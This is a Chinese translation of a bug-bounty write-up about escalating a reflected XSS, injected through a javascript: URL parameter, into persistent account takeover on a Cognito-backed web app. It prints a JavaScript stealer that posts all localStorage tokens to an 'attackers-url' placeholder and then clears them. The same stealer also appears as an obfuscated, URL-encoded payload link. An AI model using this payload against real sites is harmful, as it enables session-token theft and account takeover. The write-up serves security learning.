传统XSS攻击引发持久型ATO漏洞技术研究

2019-09-04 约 2010 字 预计阅读 5 分钟

声明:本文 【传统XSS攻击引发持久型ATO漏洞技术研究】 由作者 Pinging 于 2019-09-04 09:11:00 首发 先知社区 曾经 浏览数 57 次

感谢 Pinging 的辛苦付出!

TL;DR

你们好,

XSS(Cross Site Scripting)攻击实际上是我们在漏洞发掘过程中最常见的错误之一。然而不常见的是我们很少报告它。大多数Bug Bounty应用通过特定POC来对最坏情况影响进行证明以便评估问题的严重性。 例如,电子商务网站不会考虑CSRF漏洞,因为这可能会导致项目被添加到受害者购物车中,与CSRF漏洞同等严重的是,这可能会迫使用户更改其电子邮件或删除帐户。 同样,如果有人能够提取其餐馆的公共电话号码和电子邮件地址并报告给相关企业,Zomato等公司可能不会将其视为信息披露。 在盲目地将XSS payload注入表单字段之前,我们需要全面的了解我们的目标。并问自己“这是如何工作的?”除此之外,开发人员在处理这些漏洞的时候一些措施会帮助到我们。

我的朋友Yash和我在合作时遇到了类似的情况。特别是当这个程序的范围很小,所以在我们接受邀请之前已经有很多黑客正在研究它。 所有黑客都获得了相同的工作流,这意味着所有黑客都可以看到那些试图创建的xss/模板注入。 这是yash推特的内容:

说实话,该应用一开始看起来几乎不可能得到任何注入攻击,因为应用程序是安全的。 它在前端使用了Angular,所以注入的可能性很行。 默认情况下,Angular将所有用户的输入信任为不安全。所以说了解应用程序非常重要,我发现Web应用程序试图保护其资源的策略页面。 由于应用依赖于前端,所以创建一个XSS并不会产生任何效果。 在与安全团队合作时,他们的一名团队成员透露:

对于正在测试的应用程序:我们系统中的每个“租户”都是“公司”。 该工具用于为公司内的客户(租户)提供新的潜在客户。

这意味着必须邀请潜在客户加入公司。 它似乎是一个反馈门户,租户用它来了解他们的客户。 但客户如何受到邀请? 事实证明,客户被发送了一封电子邮件并附上填写了某种形式的内容。

攻击过程

因此,我从我的主机上发送了一封电子邮件到我的其他电子邮件地址并打开了链接。 此链接具有以下格式:

https://REDACTED.com/redacted_url/url;url=http%3A%2F%2FREDACTED.com%3Aanother_redacted_url/

起初看起来这似乎是一个SSRF,但很快Yash指出请求是从我的浏览器发送的,所以驳回了我对该攻击的理解。由于我一直在寻找SSRF相关的漏洞,所以对我来说是十分失望的。我迅速注入了我的网络钓鱼payload https:%2F%2Fmilindpurswani.com%2Fb%2Fphish.html,这使得网络钓鱼页面被弹出到DOM中。

这里一定有一个XSS且执行了https://REDACTED.COM/redacted_url/url;url=javascript:alert%28document.domain%29

通常这足以来证明为该漏洞的POC。 根据该计划的政策页面,由于这是一个反射的XSS,因此它处于低/中等严重程度。 我们对此非常满意,并报告了该问题。在接下来的几天里,这份报告没有回应。

在这段时间里,Yash和我一直在研究这个漏洞利用,我们刚刚意识到系统中存在一些设计缺陷。 这些本身并不是一个漏洞,但当与XSS链接时,将此报告的严重程度更高。 我们做的一些相关观察是:

  • 系统未使用cookie来检查经过身份验证的会话。 相反,它依赖于授权标题。

  • 该网站使用Amazon Cognito进行用户管理,出于某种原因,他们将大量用户信息存储在本地存储中。

  • 当用户单击注销时,他已注销帐户,但如果他关闭了窗口,则不会撤消授权token。

  • 如果用户从多个设备中的帐户登录然后更改密码,则其会话token不会从其他设备中失效。

我很快写了这个javascript代码,它会窃取授权token并从浏览器中删除会话token。 用户会认为他实际上是从浏览器注销的:

var xmlhttp = new XMLHttpRequest();
var theUrl = "attackers-url"; //Attacker steals the tokens on this address
xmlhttp.open("POST", theUrl);
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({...localStorage}));
localStorage.clear();

我在控制台中测试了它,它有效果。现在唯一需要的是触发XSS引导它执行此代码。 这是POC的最终结果。

https://REDACTED.com/redacted_url/url;url=javascript:%76%61%72%20%78%6d%6c%68%74%74%70%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%76%61%72%20%74%68%65%55%72%6c%20%3d%20%22%61%74%74%61%63%6b%65%72%73%2d%75%72%6c%22%3b%20%2f%2f%41%74%74%61%63%6b%65%72%20%73%74%65%61%6c%73%20%74%68%65%20%74%6f%6b%65%6e%73%20%6f%6e%20%74%68%69%73%20%61%64%64%72%65%73%73%78%6d%6c%68%74%74%70%2e%6f%70%65%6e%28%22%50%4f%53%54%22%2c%20%74%68%65%55%72%6c%29%3b%78%6d%6c%68%74%74%70%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6a%73%6f%6e%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%29%3b%78%6d%6c%68%74%74%70%2e%73%65%6e%64%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%7b%2e%2e%2e%6c%6f%63%61%6c%53%74%6f%72%61%67%65%7d%29%29%3b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%63%6c%65%61%72%28%29%3b

我们从受害者处收集到的反馈数据如下:

{"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.accessToken":"REDACTED",
"rememberMe":"true",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.clockDrift":"-1",
"username":"hkr0x01",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.LastAuthUser":"hkr0x01",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.idToken":" REDACTED"}

此外,idToken包含以下值:

{
"kid":"o4Ub0oKqDSdJSEElK\/nOF1sI79mjLrj0CFNP2fdobCU=",
"alg":"RS256"
}
{
"sub":"b7bd20bd-c855-4b79-995b-e99fb7f5b61e",
"email_verified":true,"profile":"ROLE_TENANT_USER",
"iss":"https:\/\/cognito-idp.eu-central-1.amazonaws.com\/eu-central-1_REDACTED",
"phone_number_verified":true,
"cognito:username":"hkr0x01",
"preferred_username":"81b619c0-ae28-11e8-9efe-c1f0f85d7f04",
"given_name":"hkr",
"middle_name":"lol",
"aud":"69abj1tqnh40eeug2oju2qnaa7",
"event_id":"3b836566-5dc8-11e9-8441-fd78254b71e5",
"token_use":"id",
"auth_time":1555145042,
"phone_number":"REDACTED",
"exp":1555150790,
"iat":1555147190,
"family_name":"0x01",
"email":"REDACTED
... and then some encrypted values ...

由于我们能够获取刷新token,因此我们可以在较旧的授权token失效时生成新的授权token。

所学内容

存储在本地中的会话token不一定能够保护应用程序。

了解应用程序的工作情况并尝试调整攻击向量以发现影响度更高的漏洞非常重要。 很多时候,所谓的“功能”可以被利用到漏洞中。

人们可能无法一个人单独发现影响巨大的漏洞,但可以与伙伴合作,通过创新方法创建更强大的攻击媒介。

本文为翻译文章,来自:https://hackademic.co.in/how-a-classical-xss-can-lead-to-persistent-ato-vulnerability/

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now